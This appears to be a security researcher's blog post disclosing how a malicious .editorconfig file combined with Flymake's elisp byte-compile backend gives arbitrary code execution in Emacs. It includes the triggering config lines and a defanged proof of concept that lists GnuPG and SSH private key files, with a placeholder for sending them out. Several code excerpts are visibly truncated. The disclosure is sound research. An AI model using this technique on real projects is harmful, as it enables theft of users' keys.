Hans Jerry Illikainen

Emacs + EditorConfig + Flymake = code execution

Oct 6, 2019

There has been a lot of talk on Emacs security for some time now. A lot of the discussion has been about transport security for package repositories. Unfortunately, transport security isn’t the only issue with Emacs.

I tend to audit most Emacs packages that I use, and one common issue is that a lot of packages executes shell commands with potentially untrusted data as input.

Recently, I read the EditorConfig plugin for Emacs and noticed something interesting. It allows major modes to be set by name and by extension with the file_type_emacs and file_type_ext settings.

In editorconfig-apply, the function editorconfig-set-major-mode-from-name is invoked with the value of file_type_emacs. This function concatenates the file type with the string -mode and calls it as a function if it’s bound:

(defun editorconfig-set-major-mode-from-name (filetype)
  "Set buffer `major-mode' by FILETYPE.

FILETYPE should be s string like `\"ini\"`, if not nil or empty string."
  (let ((mode (and filetype
                   (not (string= filetype
                   (intern (concat filetype
    (when mode
      (if (fboundp mode)
          (editorconfig-apply-major-mode-safely mode)
        (display-warning :error (format "Major-mode `%S' not found"

(The word safely in editorconfig-apply-major-mode-safely has nothing to do with security; this function merely avoids infinite recursion when changing major mode.)

Similarly, editorconfig-apply invokes editorconfig-set-major-mode-from-ext with the value of file_type_ext. A lookup for file_type_ext is made in auto-mode-alist with the function editorconfig--find-mode-from-ext and the matching mode function (if any) is executed:

(defun editorconfig--find-mode-from-ext (ext &optional filename)
  "Get suitable `major-mode' from EXT and FILENAME.
If FILENAME is omitted filename of current buffer is used."
  (cl-assert ext)
  (cl-assert (not (string= ext "")))
  (let* ((name (concat (or filename
    (assoc-default name

Why is this interesting? Well, because a malicious .editorconfig file could use these features to change any opened file in a project to an arbitrary mode and execute any bound function that ends in -mode. And this brings us to another unfortunate fact of Emacs.

Emacs ships with a built-in syntax checker called Flymake (and yes, the popular alternative that goes by the name of Flycheck suffers from the exact same problem!). Flymake allows major modes to define backend functions that executes syntax checkers, linters, formatters and other tools on various buffer events.

There aren’t that many Flymake backends in a default installation of Emacs. One of the few backends that does ship with Emacs is for elisp code, and it is named elisp-flymake-byte-compile.

What elisp-flymake-byte-compile does is start an asynchronous Emacs process where the current buffer is byte-compiled. And, in the world of elisp, all that’s needed to execute code during byte-compilation is the macro eval-when-compile.

This functionality can be coupled with the peculiar features of the EditorConfig plugin to achieve arbitrary code execution. In order to do so, we would first change the major mode to elisp with file_type_ext. After doing that, we enable Flymake mode (and thus byte compilation) with file_type_emacs. For example:

file_type_ext = el
file_type_emacs = flymake

At this point, any buffer opened in a project with the .editorconfig above could execute elisp. For example:

  (with-temp-file "~/bye-bye-keys"
    (dolist (x (append (directory-files "~/.gnupg/private-keys-v1.d/" t "^[^.]")
                       (directory-files "~/.ssh/" t "id_")))
      ;; <insert evil POST request to some shady API>
      (insert (format "could have shared %s with the world!\n" x)))))

#include <stdio.h>

int main(void)

/* and */ causes non-erroneous warnings in the elisp byte compiler. The non-elisp code does, however, break the byte compiler; but our elisp has already been executed at that point. The end result is that we have code that is both valid-enough elisp and valid C.

~/poc$ cat ~/bye-bye-keys
cat: /home/hji/bye-bye-keys: No such file or directory
~/poc$ emacs foo.c
~/poc$ cat ~/bye-bye-keys
could have shared /home/hji/.gnupg/private-keys-v1.d/9598156881A8DFAE885F503AC61D6FD95A3A971A.key with the world!
could have shared /home/hji/.ssh/id_rsa with the world!
could have shared /home/hji/.ssh/id_rsa.pub with the world!